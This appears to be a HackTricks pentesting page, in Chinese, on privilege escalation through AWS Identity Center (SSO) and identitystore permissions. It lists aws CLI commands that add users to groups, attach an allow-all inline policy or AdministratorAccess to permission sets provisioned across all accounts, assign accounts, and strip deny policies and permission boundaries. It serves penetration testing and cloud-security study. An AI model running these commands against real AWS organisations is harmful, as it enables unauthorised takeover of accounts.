AWS - SSO & identitystore Privesc

支持 HackTricks

AWS Identity Center / AWS SSO

有关 AWS Identity Center / AWS SSO 的更多信息,请查看:

请注意,默认情况下,只有来自 管理账户用户 才能访问和 控制 IAM 身份中心。 其他账户的用户只能在该账户是 委托管理员 的情况下允许访问。 查看文档以获取更多信息。

重置密码

在这种情况下,提升权限的简单方法是拥有允许重置用户密码的权限。不幸的是,只能向用户发送电子邮件以重置其密码,因此您需要访问用户的电子邮件。

identitystore:CreateGroupMembership

拥有此权限后,可以将用户设置在组内,从而继承该组的所有权限。

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

拥有此权限的攻击者可以向其控制下的用户授予的权限集授予额外权限

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

拥有此权限的攻击者可以向其控制下的用户授予的权限集授予额外权限

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

拥有此权限的攻击者可以向其控制下的用户授予的权限集授予额外权限。

在这种情况下,要滥用这些权限,您需要知道在所有将受到影响的账户中存在的客户管理策略的名称

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

拥有此权限的攻击者可以将权限集分配给其控制下的用户到一个账户。

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

返回分配给用户的给定角色名称的 STS 短期凭证。

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

然而,您需要一个我不确定如何获取的访问令牌(TODO)。

sso:DetachManagedPolicyFromPermissionSet

拥有此权限的攻击者可以删除指定权限集与AWS托管策略之间的关联。通过分离托管策略(拒绝策略),可以授予更多权限。

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

拥有此权限的攻击者可以删除指定权限集与客户管理策略之间的关联。通过分离管理策略(拒绝策略),可以授予更多权限。

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

拥有此权限的攻击者可以从权限集的内联策略中删除权限。通过解除内联策略(拒绝策略),可以授予更多权限

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

拥有此权限的攻击者可以从权限集删除权限边界。通过删除权限边界施加的限制,可以授予更多权限

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
支持 HackTricks

Last updated